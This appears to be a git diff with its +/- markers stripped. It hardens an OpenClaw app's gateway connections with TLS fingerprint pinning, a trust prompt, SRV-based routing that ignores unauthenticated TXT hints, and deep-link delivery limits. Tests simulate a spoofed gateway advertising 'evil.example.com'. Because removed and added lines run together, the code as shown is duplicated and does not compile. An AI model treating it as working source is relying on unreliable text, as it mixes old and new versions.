let tlsParams = stored.map { fp in
GatewayTLSParams(required: true, expectedFingerprint: fp, allowTOFU: false, storeKey: stableID)
}
guard let url = self.buildGatewayURL(
host: host,
port: resolvedPort,
useTLS: tlsParams?.required == true)
else { return }
GatewaySettingsStore.saveLastGatewayConnection(
GatewaySettingsStore.saveLastGatewayConnectionManual(
host: host,
port: resolvedPort,
useTLS: tlsParams?.required == true,
useTLS: resolvedUseTLS && tlsParams != nil,
stableID: stableID)
self.didAutoConnect = true
self.startAutoConnect(
@@ -117,36 +178,63 @@ final class GatewayConnectionController {
func connectLastKnown() async {
guard let last = GatewaySettingsStore.loadLastGatewayConnection() else { return }
switch last {
case let .manual(host, port, useTLS, _):
await self.connectManual(host: host, port: port, useTLS: useTLS)
case let .discovered(stableID, _):
guard let gateway = self.gateways.first(where: { $0.stableID == stableID }) else { return }
await self.connectDiscoveredGateway(gateway)
}
}
func clearPendingTrustPrompt() {
self.pendingTrustPrompt = nil
self.pendingTrustConnect = nil
}
func acceptPendingTrustPrompt() async {
guard let pending = self.pendingTrustConnect,
let prompt = self.pendingTrustPrompt,
pending.stableID == prompt.stableID
else { return }
GatewayTLSStore.saveFingerprint(prompt.fingerprintSha256, stableID: pending.stableID)
self.clearPendingTrustPrompt()
if pending.isManual {
GatewaySettingsStore.saveLastGatewayConnectionManual(
host: prompt.host,
port: prompt.port,
useTLS: true,
stableID: pending.stableID)
} else {
GatewaySettingsStore.saveLastGatewayConnectionDiscovered(stableID: pending.stableID, useTLS: true)
}
let instanceId = UserDefaults.standard.string(forKey: "node.instanceId")?
.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
let token = GatewaySettingsStore.loadGatewayToken(instanceId: instanceId)
let password = GatewaySettingsStore.loadGatewayPassword(instanceId: instanceId)
let resolvedUseTLS = last.useTLS
let tlsParams = self.resolveManualTLSParams(
stableID: last.stableID,
tlsEnabled: resolvedUseTLS,
allowTOFUReset: self.shouldForceTLS(host: last.host))
guard let url = self.buildGatewayURL(
host: last.host,
port: last.port,
useTLS: tlsParams?.required == true)
else { return }
if resolvedUseTLS != last.useTLS {
GatewaySettingsStore.saveLastGatewayConnection(
host: last.host,
port: last.port,
useTLS: resolvedUseTLS,
stableID: last.stableID)
}
let tlsParams = GatewayTLSParams(
required: true,
expectedFingerprint: prompt.fingerprintSha256,
allowTOFU: false,
storeKey: pending.stableID)
self.didAutoConnect = true
self.startAutoConnect(
url: url,
gatewayStableID: last.stableID,
url: pending.url,
gatewayStableID: pending.stableID,
tls: tlsParams,
token: token,
password: password)
}
func declinePendingTrustPrompt() {
self.clearPendingTrustPrompt()
self.appModel?.gatewayStatusText = "Offline"
}
private func updateFromDiscovery() {
let newGateways = self.discovery.gateways
self.gateways = newGateways
@@ -223,25 +311,30 @@ final class GatewayConnectionController {
}
if let lastKnown = GatewaySettingsStore.loadLastGatewayConnection() {
let resolvedUseTLS = lastKnown.useTLS || self.shouldForceTLS(host: lastKnown.host)
let tlsParams = self.resolveManualTLSParams(
stableID: lastKnown.stableID,
tlsEnabled: resolvedUseTLS,
allowTOFUReset: self.shouldForceTLS(host: lastKnown.host))
guard let url = self.buildGatewayURL(
host: lastKnown.host,
port: lastKnown.port,
useTLS: tlsParams?.required == true)
else { return }
if case let .manual(host, port, useTLS, stableID) = lastKnown {
let resolvedUseTLS = useTLS || self.shouldForceTLS(host: host)
let stored = GatewayTLSStore.loadFingerprint(stableID: stableID)
let tlsParams = stored.map { fp in
GatewayTLSParams(required: true, expectedFingerprint: fp, allowTOFU: false, storeKey: stableID)
}
guard let url = self.buildGatewayURL(
host: host,
port: port,
useTLS: resolvedUseTLS && tlsParams != nil)
else { return }
self.didAutoConnect = true
self.startAutoConnect(
url: url,
gatewayStableID: lastKnown.stableID,
tls: tlsParams,
token: token,
password: password)
return
// Security: autoconnect only to previously trusted gateways (stored TLS pin).
guard tlsParams != nil else { return }
self.didAutoConnect = true
self.startAutoConnect(
url: url,
gatewayStableID: stableID,
tls: tlsParams,
token: token,
password: password)
return
}
}
let preferredStableID = defaults.string(forKey: "gateway.preferredStableID")?
@@ -254,36 +347,26 @@ final class GatewayConnectionController {
self.gateways.contains(where: { $0.stableID == id })
}) {
guard let target = self.gateways.first(where: { $0.stableID == targetStableID }) else { return }
guard let host = self.resolveGatewayHost(target) else { return }
let port = target.gatewayPort ?? 18789
let tlsParams = self.resolveDiscoveredTLSParams(gateway: target)
guard let url = self.buildGatewayURL(host: host, port: port, useTLS: tlsParams?.required == true)
else { return }
// Security: autoconnect only to previously trusted gateways (stored TLS pin).
guard GatewayTLSStore.loadFingerprint(stableID: target.stableID) != nil else { return }
self.didAutoConnect = true
self.startAutoConnect(
url: url,
gatewayStableID: target.stableID,
tls: tlsParams,
token: token,
password: password)
Task { [weak self] in
guard let self else { return }
await self.connectDiscoveredGateway(target)
}
return
}
if self.gateways.count == 1, let gateway = self.gateways.first {
guard let host = self.resolveGatewayHost(gateway) else { return }
let port = gateway.gatewayPort ?? 18789
let tlsParams = self.resolveDiscoveredTLSParams(gateway: gateway)
guard let url = self.buildGatewayURL(host: host, port: port, useTLS: tlsParams?.required == true)
else { return }
// Security: autoconnect only to previously trusted gateways (stored TLS pin).
guard GatewayTLSStore.loadFingerprint(stableID: gateway.stableID) != nil else { return }
self.didAutoConnect = true
self.startAutoConnect(
url: url,
gatewayStableID: gateway.stableID,
tls: tlsParams,
token: token,
password: password)
Task { [weak self] in
guard let self else { return }
await self.connectDiscoveredGateway(gateway)
}
return
}
}
@@ -339,15 +422,27 @@ final class GatewayConnectionController {
}
}
private func resolveDiscoveredTLSParams(gateway: GatewayDiscoveryModel.DiscoveredGateway) -> GatewayTLSParams? {
private func resolveDiscoveredTLSParams(
gateway: GatewayDiscoveryModel.DiscoveredGateway,
allowTOFU: Bool) -> GatewayTLSParams?
{
let stableID = gateway.stableID
let stored = GatewayTLSStore.loadFingerprint(stableID: stableID)
if gateway.tlsEnabled || gateway.tlsFingerprintSha256 != nil || stored != nil {
// Never let unauthenticated discovery (TXT) override a stored pin.
if let stored {
return GatewayTLSParams(
required: true,
expectedFingerprint: gateway.tlsFingerprintSha256 ?? stored,
allowTOFU: stored == nil,
expectedFingerprint: stored,
allowTOFU: false,
storeKey: stableID)
}
if gateway.tlsEnabled || gateway.tlsFingerprintSha256 != nil {
return GatewayTLSParams(
required: true,
expectedFingerprint: nil,
allowTOFU: false,
storeKey: stableID)
}
@@ -364,21 +459,35 @@ final class GatewayConnectionController {
return GatewayTLSParams(
required: true,
expectedFingerprint: stored,
allowTOFU: stored == nil || allowTOFUReset,
allowTOFU: false,
storeKey: stableID)
}
return nil
}
private func resolveGatewayHost(_ gateway: GatewayDiscoveryModel.DiscoveredGateway) -> String? {
if let tailnet = gateway.tailnetDns?.trimmingCharacters(in: .whitespacesAndNewlines), !tailnet.isEmpty {
return tailnet
private func probeTLSFingerprint(url: URL) async -> String? {
await withCheckedContinuation { continuation in
let probe = GatewayTLSFingerprintProbe(url: url, timeoutSeconds: 3) { fp in
continuation.resume(returning: fp)
}
probe.start()
}
if let lanHost = gateway.lanHost?.trimmingCharacters(in: .whitespacesAndNewlines), !lanHost.isEmpty {
return lanHost
}
private func resolveServiceEndpoint(_ endpoint: NWEndpoint) async -> (host: String, port: Int)? {
guard case let .service(name, type, domain, _) = endpoint else { return nil }
let key = "\(domain)|\(type)|\(name)"
return await withCheckedContinuation { continuation in
let resolver = GatewayServiceResolver(name: name, type: type, domain: domain) { [weak self] result in
Task { @MainActor in
self?.pendingServiceResolvers[key] = nil
continuation.resume(returning: result)
}
}
self.pendingServiceResolvers[key] = resolver
resolver.start()
}
return nil
}
private func buildGatewayURL(host: String, port: Int, useTLS: Bool) -> URL? {
@@ -662,5 +771,84 @@ extension GatewayConnectionController {
func _test_triggerAutoConnect() {
self.maybeAutoConnect()
}
func _test_didAutoConnect() -> Bool {
self.didAutoConnect
}
func _test_resolveDiscoveredTLSParams(
gateway: GatewayDiscoveryModel.DiscoveredGateway,
allowTOFU: Bool) -> GatewayTLSParams?
{
self.resolveDiscoveredTLSParams(gateway: gateway, allowTOFU: allowTOFU)
}
}
#endif
private final class GatewayTLSFingerprintProbe: NSObject, URLSessionDelegate {
private let url: URL
private let timeoutSeconds: Double
private let onComplete: (String?) -> Void
private var didFinish = false
private var session: URLSession?
private var task: URLSessionWebSocketTask?
init(url: URL, timeoutSeconds: Double, onComplete: @escaping (String?) -> Void) {
self.url = url
self.timeoutSeconds = timeoutSeconds
self.onComplete = onComplete
}
func start() {
let config = URLSessionConfiguration.ephemeral
config.timeoutIntervalForRequest = self.timeoutSeconds
config.timeoutIntervalForResource = self.timeoutSeconds
let session = URLSession(configuration: config, delegate: self, delegateQueue: nil)
self.session = session
let task = session.webSocketTask(with: self.url)
self.task = task
task.resume()
DispatchQueue.global(qos: .utility).asyncAfter(deadline: .now() + self.timeoutSeconds) { [weak self] in
self?.finish(nil)
}
}
func urlSession(
_ session: URLSession,
didReceive challenge: URLAuthenticationChallenge,
completionHandler: @escaping (URLSession.AuthChallengeDisposition, URLCredential?) -> Void
) {
guard challenge.protectionSpace.authenticationMethod == NSURLAuthenticationMethodServerTrust,
let trust = challenge.protectionSpace.serverTrust
else {
completionHandler(.performDefaultHandling, nil)
return
}
let fp = GatewayTLSFingerprintProbe.certificateFingerprint(trust)
completionHandler(.cancelAuthenticationChallenge, nil)
self.finish(fp)
}
private func finish(_ fingerprint: String?) {
objc_sync_enter(self)
defer { objc_sync_exit(self) }
guard !self.didFinish else { return }
self.didFinish = true
self.task?.cancel(with: .goingAway, reason: nil)
self.session?.invalidateAndCancel()
self.onComplete(fingerprint)
}
private static func certificateFingerprint(_ trust: SecTrust) -> String? {
guard let chain = SecTrustCopyCertificateChain(trust) as? [SecCertificate],
let cert = chain.first
else {
return nil
}
let data = SecCertificateCopyData(cert) as Data
let digest = SHA256.hash(data: data)
return digest.map { String(format: "%02x", $0) }.joined()
}
}

View File

@@ -0,0 +1,55 @@
import Foundation
// NetService-based resolver for Bonjour services.
// Used to resolve the service endpoint (SRV + A/AAAA) without trusting TXT for routing.
final class GatewayServiceResolver: NSObject, NetServiceDelegate {
private let service: NetService
private let completion: ((host: String, port: Int)?) -> Void
private var didFinish = false
init(
name: String,
type: String,
domain: String,
completion: @escaping ((host: String, port: Int)?) -> Void)
{
self.service = NetService(domain: domain, type: type, name: name)
self.completion = completion
super.init()
self.service.delegate = self
}
func start(timeout: TimeInterval = 2.0) {
self.service.schedule(in: .main, forMode: .common)
self.service.resolve(withTimeout: timeout)
}
func netServiceDidResolveAddress(_ sender: NetService) {
let host = Self.normalizeHost(sender.hostName)
let port = sender.port
guard let host, !host.isEmpty, port > 0 else {
self.finish(result: nil)
return
}
self.finish(result: (host: host, port: port))
}
func netService(_ sender: NetService, didNotResolve errorDict: [String: NSNumber]) {
self.finish(result: nil)
}
private func finish(result: ((host: String, port: Int))?) {
guard !self.didFinish else { return }
self.didFinish = true
self.service.stop()
self.service.remove(from: .main, forMode: .common)
self.completion(result)
}
private static func normalizeHost(_ raw: String?) -> String? {
let trimmed = raw?.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
if trimmed.isEmpty { return nil }
return trimmed.hasSuffix(".") ? String(trimmed.dropLast()) : trimmed
}
}

View File

@@ -13,6 +13,7 @@ enum GatewaySettingsStore {
private static let manualPortDefaultsKey = "gateway.manual.port"
private static let manualTlsDefaultsKey = "gateway.manual.tls"
private static let discoveryDebugLogsDefaultsKey = "gateway.discovery.debugLogs"
private static let lastGatewayKindDefaultsKey = "gateway.last.kind"
private static let lastGatewayHostDefaultsKey = "gateway.last.host"
private static let lastGatewayPortDefaultsKey = "gateway.last.port"
private static let lastGatewayTlsDefaultsKey = "gateway.last.tls"
@@ -114,25 +115,73 @@ enum GatewaySettingsStore {
account: self.gatewayPasswordAccount(instanceId: instanceId))
}
static func saveLastGatewayConnection(host: String, port: Int, useTLS: Bool, stableID: String) {
enum LastGatewayConnection: Equatable {
case manual(host: String, port: Int, useTLS: Bool, stableID: String)
case discovered(stableID: String, useTLS: Bool)
var stableID: String {
switch self {
case let .manual(_, _, _, stableID):
return stableID
case let .discovered(stableID, _):
return stableID
}
}
var useTLS: Bool {
switch self {
case let .manual(_, _, useTLS, _):
return useTLS
case let .discovered(_, useTLS):
return useTLS
}
}
}
private enum LastGatewayKind: String {
case manual
case discovered
}
static func saveLastGatewayConnectionManual(host: String, port: Int, useTLS: Bool, stableID: String) {
let defaults = UserDefaults.standard
defaults.set(LastGatewayKind.manual.rawValue, forKey: self.lastGatewayKindDefaultsKey)
defaults.set(host, forKey: self.lastGatewayHostDefaultsKey)
defaults.set(port, forKey: self.lastGatewayPortDefaultsKey)
defaults.set(useTLS, forKey: self.lastGatewayTlsDefaultsKey)
defaults.set(stableID, forKey: self.lastGatewayStableIDDefaultsKey)
}
static func loadLastGatewayConnection() -> (host: String, port: Int, useTLS: Bool, stableID: String)? {
static func saveLastGatewayConnectionDiscovered(stableID: String, useTLS: Bool) {
let defaults = UserDefaults.standard
defaults.set(LastGatewayKind.discovered.rawValue, forKey: self.lastGatewayKindDefaultsKey)
defaults.removeObject(forKey: self.lastGatewayHostDefaultsKey)
defaults.removeObject(forKey: self.lastGatewayPortDefaultsKey)
defaults.set(useTLS, forKey: self.lastGatewayTlsDefaultsKey)
defaults.set(stableID, forKey: self.lastGatewayStableIDDefaultsKey)
}
static func loadLastGatewayConnection() -> LastGatewayConnection? {
let defaults = UserDefaults.standard
let stableID = defaults.string(forKey: self.lastGatewayStableIDDefaultsKey)?
.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
guard !stableID.isEmpty else { return nil }
let useTLS = defaults.bool(forKey: self.lastGatewayTlsDefaultsKey)
let kindRaw = defaults.string(forKey: self.lastGatewayKindDefaultsKey)?
.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
let kind = LastGatewayKind(rawValue: kindRaw) ?? .manual
if kind == .discovered {
return .discovered(stableID: stableID, useTLS: useTLS)
}
let host = defaults.string(forKey: self.lastGatewayHostDefaultsKey)?
.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
let port = defaults.integer(forKey: self.lastGatewayPortDefaultsKey)
let useTLS = defaults.bool(forKey: self.lastGatewayTlsDefaultsKey)
let stableID = defaults.string(forKey: self.lastGatewayStableIDDefaultsKey)?
.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
guard !host.isEmpty, port > 0, port <= 65535, !stableID.isEmpty else { return nil }
return (host: host, port: port, useTLS: useTLS, stableID: stableID)
// Back-compat: older builds persisted manual-style host/port without a kind marker.
guard !host.isEmpty, port > 0, port <= 65535 else { return nil }
return .manual(host: host, port: port, useTLS: useTLS, stableID: stableID)
}
static func loadGatewayClientIdOverride(stableID: String) -> String? {

View File

@@ -0,0 +1,42 @@
import SwiftUI
struct GatewayTrustPromptAlert: ViewModifier {
@Environment(GatewayConnectionController.self) private var gatewayController: GatewayConnectionController
private var promptBinding: Binding<GatewayConnectionController.TrustPrompt?> {
Binding(
get: { self.gatewayController.pendingTrustPrompt },
set: { newValue in
if newValue == nil {
self.gatewayController.clearPendingTrustPrompt()
}
})
}
func body(content: Content) -> some View {
content.alert(item: self.promptBinding) { prompt in
Alert(
title: Text("Trust this gateway?"),
message: Text(
"""
First-time TLS connection.
Verify this SHA-256 fingerprint out-of-band before trusting:
\(prompt.fingerprintSha256)
"""),
primaryButton: .cancel(Text("Cancel")) {
self.gatewayController.declinePendingTrustPrompt()
},
secondaryButton: .default(Text("Trust and connect")) {
Task { await self.gatewayController.acceptPendingTrustPrompt() }
})
}
}
}
extension View {
func gatewayTrustPromptAlert() -> some View {
self.modifier(GatewayTrustPromptAlert())
}
}

View File

@@ -21,6 +21,7 @@ struct GatewayOnboardingView: View {
}
.navigationTitle("Connect Gateway")
}
.gatewayTrustPromptAlert()
}
}

View File

@@ -52,6 +52,7 @@ struct RootCanvas: View {
CameraFlashOverlay(nonce: self.appModel.cameraFlashNonce)
}
}
.gatewayTrustPromptAlert()
.sheet(item: self.$presentedSheet) { sheet in
switch sheet {
case .settings:

View File

@@ -376,6 +376,7 @@ struct SettingsTab: View {
}
}
}
.gatewayTrustPromptAlert()
}
@ViewBuilder
@@ -388,11 +389,13 @@ struct SettingsTab: View {
.font(.footnote)
.foregroundStyle(.secondary)
if let lastKnown = GatewaySettingsStore.loadLastGatewayConnection() {
if let lastKnown = GatewaySettingsStore.loadLastGatewayConnection(),
case let .manual(host, port, _, _) = lastKnown
{
Button {
Task { await self.connectLastKnown() }
} label: {
self.lastKnownButtonLabel(host: lastKnown.host, port: lastKnown.port)
self.lastKnownButtonLabel(host: host, port: port)
}
.disabled(self.connectingGatewayID != nil)
.buttonStyle(.borderedProminent)

View File

@@ -0,0 +1,105 @@
import Foundation
import Network
import Testing
@testable import OpenClaw
@Suite(.serialized) struct GatewayConnectionSecurityTests {
private func clearTLSFingerprint(stableID: String) {
let suite = UserDefaults(suiteName: "ai.openclaw.shared") ?? .standard
suite.removeObject(forKey: "gateway.tls.\(stableID)")
}
@Test @MainActor func discoveredTLSParams_prefersStoredPinOverAdvertisedTXT() async {
let stableID = "test|\(UUID().uuidString)"
defer { clearTLSFingerprint(stableID: stableID) }
clearTLSFingerprint(stableID: stableID)
GatewayTLSStore.saveFingerprint("11", stableID: stableID)
let endpoint: NWEndpoint = .service(name: "Test", type: "_openclaw-gw._tcp", domain: "local.", interface: nil)
let gateway = GatewayDiscoveryModel.DiscoveredGateway(
name: "Test",
endpoint: endpoint,
stableID: stableID,
debugID: "debug",
lanHost: "evil.example.com",
tailnetDns: "evil.example.com",
gatewayPort: 12345,
canvasPort: nil,
tlsEnabled: true,
tlsFingerprintSha256: "22",
cliPath: nil)
let appModel = NodeAppModel()
let controller = GatewayConnectionController(appModel: appModel, startDiscovery: false)
let params = controller._test_resolveDiscoveredTLSParams(gateway: gateway, allowTOFU: true)
#expect(params?.expectedFingerprint == "11")
#expect(params?.allowTOFU == false)
}
@Test @MainActor func discoveredTLSParams_doesNotTrustAdvertisedFingerprint() async {
let stableID = "test|\(UUID().uuidString)"
defer { clearTLSFingerprint(stableID: stableID) }
clearTLSFingerprint(stableID: stableID)
let endpoint: NWEndpoint = .service(name: "Test", type: "_openclaw-gw._tcp", domain: "local.", interface: nil)
let gateway = GatewayDiscoveryModel.DiscoveredGateway(
name: "Test",
endpoint: endpoint,
stableID: stableID,
debugID: "debug",
lanHost: nil,
tailnetDns: nil,
gatewayPort: nil,
canvasPort: nil,
tlsEnabled: true,
tlsFingerprintSha256: "22",
cliPath: nil)
let appModel = NodeAppModel()
let controller = GatewayConnectionController(appModel: appModel, startDiscovery: false)
let params = controller._test_resolveDiscoveredTLSParams(gateway: gateway, allowTOFU: true)
#expect(params?.expectedFingerprint == nil)
#expect(params?.allowTOFU == false)
}
@Test @MainActor func autoconnectRequiresStoredPinForDiscoveredGateways() async {
let stableID = "test|\(UUID().uuidString)"
defer { clearTLSFingerprint(stableID: stableID) }
clearTLSFingerprint(stableID: stableID)
let defaults = UserDefaults.standard
defaults.set(true, forKey: "gateway.autoconnect")
defaults.set(false, forKey: "gateway.manual.enabled")
defaults.removeObject(forKey: "gateway.last.host")
defaults.removeObject(forKey: "gateway.last.port")
defaults.removeObject(forKey: "gateway.last.tls")
defaults.removeObject(forKey: "gateway.last.stableID")
defaults.removeObject(forKey: "gateway.last.kind")
defaults.removeObject(forKey: "gateway.preferredStableID")
defaults.set(stableID, forKey: "gateway.lastDiscoveredStableID")
let endpoint: NWEndpoint = .service(name: "Test", type: "_openclaw-gw._tcp", domain: "local.", interface: nil)
let gateway = GatewayDiscoveryModel.DiscoveredGateway(
name: "Test",
endpoint: endpoint,
stableID: stableID,
debugID: "debug",
lanHost: "test.local",
tailnetDns: nil,
gatewayPort: 18789,
canvasPort: nil,
tlsEnabled: true,
tlsFingerprintSha256: nil,
cliPath: nil)
let appModel = NodeAppModel()
let controller = GatewayConnectionController(appModel: appModel, startDiscovery: false)
controller._test_setGateways([gateway])
controller._test_triggerAutoConnect()
#expect(controller._test_didAutoConnect() == false)
}
}

View File

@@ -124,4 +124,76 @@ private func restoreKeychain(_ snapshot: [KeychainEntry: String?]) {
#expect(defaults.string(forKey: "gateway.preferredStableID") == "preferred-from-keychain")
#expect(defaults.string(forKey: "gateway.lastDiscoveredStableID") == "last-from-keychain")
}
@Test func lastGateway_manualRoundTrip() {
let keys = [
"gateway.last.kind",
"gateway.last.host",
"gateway.last.port",
"gateway.last.tls",
"gateway.last.stableID",
]
let snapshot = snapshotDefaults(keys)
defer { restoreDefaults(snapshot) }
GatewaySettingsStore.saveLastGatewayConnectionManual(
host: "example.com",
port: 443,
useTLS: true,
stableID: "manual|example.com|443")
let loaded = GatewaySettingsStore.loadLastGatewayConnection()
#expect(loaded == .manual(host: "example.com", port: 443, useTLS: true, stableID: "manual|example.com|443"))
}
@Test func lastGateway_discoveredDoesNotPersistResolvedHostPort() {
let keys = [
"gateway.last.kind",
"gateway.last.host",
"gateway.last.port",
"gateway.last.tls",
"gateway.last.stableID",
]
let snapshot = snapshotDefaults(keys)
defer { restoreDefaults(snapshot) }
// Simulate a prior manual record that included host/port.
applyDefaults([
"gateway.last.host": "10.0.0.99",
"gateway.last.port": 18789,
"gateway.last.tls": true,
"gateway.last.stableID": "manual|10.0.0.99|18789",
"gateway.last.kind": "manual",
])
GatewaySettingsStore.saveLastGatewayConnectionDiscovered(stableID: "gw|abc", useTLS: true)
let defaults = UserDefaults.standard
#expect(defaults.object(forKey: "gateway.last.host") == nil)
#expect(defaults.object(forKey: "gateway.last.port") == nil)
#expect(GatewaySettingsStore.loadLastGatewayConnection() == .discovered(stableID: "gw|abc", useTLS: true))
}
@Test func lastGateway_backCompat_manualLoadsWhenKindMissing() {
let keys = [
"gateway.last.kind",
"gateway.last.host",
"gateway.last.port",
"gateway.last.tls",
"gateway.last.stableID",
]
let snapshot = snapshotDefaults(keys)
defer { restoreDefaults(snapshot) }
applyDefaults([
"gateway.last.kind": nil,
"gateway.last.host": "example.org",
"gateway.last.port": 18789,
"gateway.last.tls": false,
"gateway.last.stableID": "manual|example.org|18789",
])
let loaded = GatewaySettingsStore.loadLastGatewayConnection()
#expect(loaded == .manual(host: "example.org", port: 18789, useTLS: false, stableID: "manual|example.org|18789"))
}
}

View File

@@ -6,6 +6,43 @@ import Security
private let deepLinkLogger = Logger(subsystem: "ai.openclaw", category: "DeepLink")
enum DeepLinkAgentPolicy {
static let maxMessageChars = 20_000
static let maxUnkeyedConfirmChars = 240
enum ValidationError: Error, Equatable, LocalizedError {
case messageTooLongForConfirmation(max: Int, actual: Int)
var errorDescription: String? {
switch self {
case let .messageTooLongForConfirmation(max, actual):
return "Message is too long to confirm safely (\(actual) chars; max \(max) without key)."
}
}
}
static func validateMessageForHandle(message: String, allowUnattended: Bool) -> Result<Void, ValidationError> {
if !allowUnattended, message.count > self.maxUnkeyedConfirmChars {
return .failure(.messageTooLongForConfirmation(max: self.maxUnkeyedConfirmChars, actual: message.count))
}
return .success(())
}
static func effectiveDelivery(
link: AgentDeepLink,
allowUnattended: Bool) -> (deliver: Bool, to: String?, channel: GatewayAgentChannel)
{
if !allowUnattended {
// Without the unattended key, ignore delivery/routing knobs to reduce exfiltration risk.
return (deliver: false, to: nil, channel: .last)
}
let channel = GatewayAgentChannel(raw: link.channel)
let deliver = channel.shouldDeliver(link.deliver)
let to = link.to?.trimmingCharacters(in: .whitespacesAndNewlines).nonEmpty
return (deliver: deliver, to: to, channel: channel)
}
}
@MainActor
final class DeepLinkHandler {
static let shared = DeepLinkHandler()
@@ -35,7 +72,7 @@ final class DeepLinkHandler {
private func handleAgent(link: AgentDeepLink, originalURL: URL) async {
let messagePreview = link.message.trimmingCharacters(in: .whitespacesAndNewlines)
if messagePreview.count > 20000 {
if messagePreview.count > DeepLinkAgentPolicy.maxMessageChars {
self.presentAlert(title: "Deep link too large", message: "Message exceeds 20,000 characters.")
return
}
@@ -48,9 +85,18 @@ final class DeepLinkHandler {
}
self.lastPromptAt = Date()
let trimmed = messagePreview.count > 240 ? "\(messagePreview.prefix(240))" : messagePreview
if case let .failure(error) = DeepLinkAgentPolicy.validateMessageForHandle(
message: messagePreview,
allowUnattended: allowUnattended)
{
self.presentAlert(title: "Deep link blocked", message: error.localizedDescription)
return
}
let urlText = originalURL.absoluteString
let urlPreview = urlText.count > 500 ? "\(urlText.prefix(500))" : urlText
let body =
"Run the agent with this message?\n\n\(trimmed)\n\nURL:\n\(originalURL.absoluteString)"
"Run the agent with this message?\n\n\(messagePreview)\n\nURL:\n\(urlPreview)"
guard self.confirm(title: "Run OpenClaw agent?", message: body) else { return }
}
@@ -59,7 +105,7 @@ final class DeepLinkHandler {
}
do {
let channel = GatewayAgentChannel(raw: link.channel)
let effectiveDelivery = DeepLinkAgentPolicy.effectiveDelivery(link: link, allowUnattended: allowUnattended)
let explicitSessionKey = link.sessionKey?
.trimmingCharacters(in: .whitespacesAndNewlines)
.nonEmpty
@@ -72,9 +118,9 @@ final class DeepLinkHandler {
message: messagePreview,
sessionKey: resolvedSessionKey,
thinking: link.thinking?.trimmingCharacters(in: .whitespacesAndNewlines).nonEmpty,
deliver: channel.shouldDeliver(link.deliver),
to: link.to?.trimmingCharacters(in: .whitespacesAndNewlines).nonEmpty,
channel: channel,
deliver: effectiveDelivery.deliver,
to: effectiveDelivery.to,
channel: effectiveDelivery.channel,
timeoutSeconds: link.timeoutSeconds,
idempotencyKey: UUID().uuidString)

View File

@@ -15,19 +15,29 @@ enum GatewayDiscoveryHelpers {
static func directUrl(for gateway: GatewayDiscoveryModel.DiscoveredGateway) -> String? {
self.directGatewayUrl(
tailnetDns: gateway.tailnetDns,
serviceHost: gateway.serviceHost,
servicePort: gateway.servicePort,
lanHost: gateway.lanHost,
gatewayPort: gateway.gatewayPort)
}
static func directGatewayUrl(
tailnetDns: String?,
serviceHost: String?,
servicePort: Int?,
lanHost: String?,
gatewayPort: Int?) -> String?
{
if let tailnetDns = self.sanitizedTailnetHost(tailnetDns) {
return "wss://\(tailnetDns)"
// Security: do not route using unauthenticated TXT hints (tailnetDns/lanHost/gatewayPort).
// Prefer the resolved service endpoint (SRV + A/AAAA).
if let host = self.trimmed(serviceHost), !host.isEmpty,
let port = servicePort, port > 0
{
let scheme = port == 443 ? "wss" : "ws"
let portSuffix = port == 443 ? "" : ":\(port)"
return "\(scheme)://\(host)\(portSuffix)"
}
// Legacy fallback (best-effort): keep existing behavior when we couldn't resolve SRV.
guard let lanHost = self.trimmed(lanHost), !lanHost.isEmpty else { return nil }
let port = gatewayPort ?? 18789
return "ws://\(lanHost):\(port)"

View File

@@ -683,7 +683,9 @@ extension GeneralSettings {
host: host,
port: gateway.sshPort)
self.state.remoteCliPath = gateway.cliPath ?? ""
OpenClawConfigFile.setRemoteGatewayUrl(host: host, port: gateway.gatewayPort)
OpenClawConfigFile.setRemoteGatewayUrl(
host: gateway.serviceHost ?? host,
port: gateway.servicePort ?? gateway.gatewayPort)
}
}
}

View File

@@ -35,7 +35,9 @@ extension OnboardingView {
user: user,
host: host,
port: gateway.sshPort)
OpenClawConfigFile.setRemoteGatewayUrl(host: host, port: gateway.gatewayPort)
OpenClawConfigFile.setRemoteGatewayUrl(
host: gateway.serviceHost ?? host,
port: gateway.servicePort ?? gateway.gatewayPort)
}
self.state.remoteCliPath = gateway.cliPath ?? ""

View File

@@ -20,6 +20,9 @@ public final class GatewayDiscoveryModel {
public struct DiscoveredGateway: Identifiable, Equatable, Sendable {
public var id: String { self.stableID }
public var displayName: String
// Resolved service endpoint (SRV + A/AAAA). Used for routing; do not trust TXT for routing.
public var serviceHost: String?
public var servicePort: Int?
public var lanHost: String?
public var tailnetDns: String?
public var sshPort: Int
@@ -31,6 +34,8 @@ public final class GatewayDiscoveryModel {
public init(
displayName: String,
serviceHost: String? = nil,
servicePort: Int? = nil,
lanHost: String? = nil,
tailnetDns: String? = nil,
sshPort: Int,
@@ -41,6 +46,8 @@ public final class GatewayDiscoveryModel {
isLocal: Bool)
{
self.displayName = displayName
self.serviceHost = serviceHost
self.servicePort = servicePort
self.lanHost = lanHost
self.tailnetDns = tailnetDns
self.sshPort = sshPort
@@ -62,8 +69,8 @@ public final class GatewayDiscoveryModel {
private var localIdentity: LocalIdentity
private let localDisplayName: String?
private let filterLocalGateways: Bool
private var resolvedTXTByID: [String: [String: String]] = [:]
private var pendingTXTResolvers: [String: GatewayTXTResolver] = [:]
private var resolvedServiceByID: [String: ResolvedGatewayService] = [:]
private var pendingServiceResolvers: [String: GatewayServiceResolver] = [:]
private var wideAreaFallbackTask: Task<Void, Never>?
private var wideAreaFallbackGateways: [DiscoveredGateway] = []
private let logger = Logger(subsystem: "ai.openclaw", category: "gateway-discovery")
@@ -133,9 +140,9 @@ public final class GatewayDiscoveryModel {
self.resultsByDomain = [:]
self.gatewaysByDomain = [:]
self.statesByDomain = [:]
self.resolvedTXTByID = [:]
self.pendingTXTResolvers.values.forEach { $0.cancel() }
self.pendingTXTResolvers = [:]
self.resolvedServiceByID = [:]
self.pendingServiceResolvers.values.forEach { $0.cancel() }
self.pendingServiceResolvers = [:]
self.wideAreaFallbackTask?.cancel()
self.wideAreaFallbackTask = nil
self.wideAreaFallbackGateways = []
@@ -154,6 +161,8 @@ public final class GatewayDiscoveryModel {
local: self.localIdentity)
return DiscoveredGateway(
displayName: beacon.displayName,
serviceHost: beacon.host,
servicePort: beacon.port,
lanHost: beacon.lanHost,
tailnetDns: beacon.tailnetDns,
sshPort: beacon.sshPort ?? 22,
@@ -195,7 +204,8 @@ public final class GatewayDiscoveryModel {
let decodedName = BonjourEscapes.decode(name)
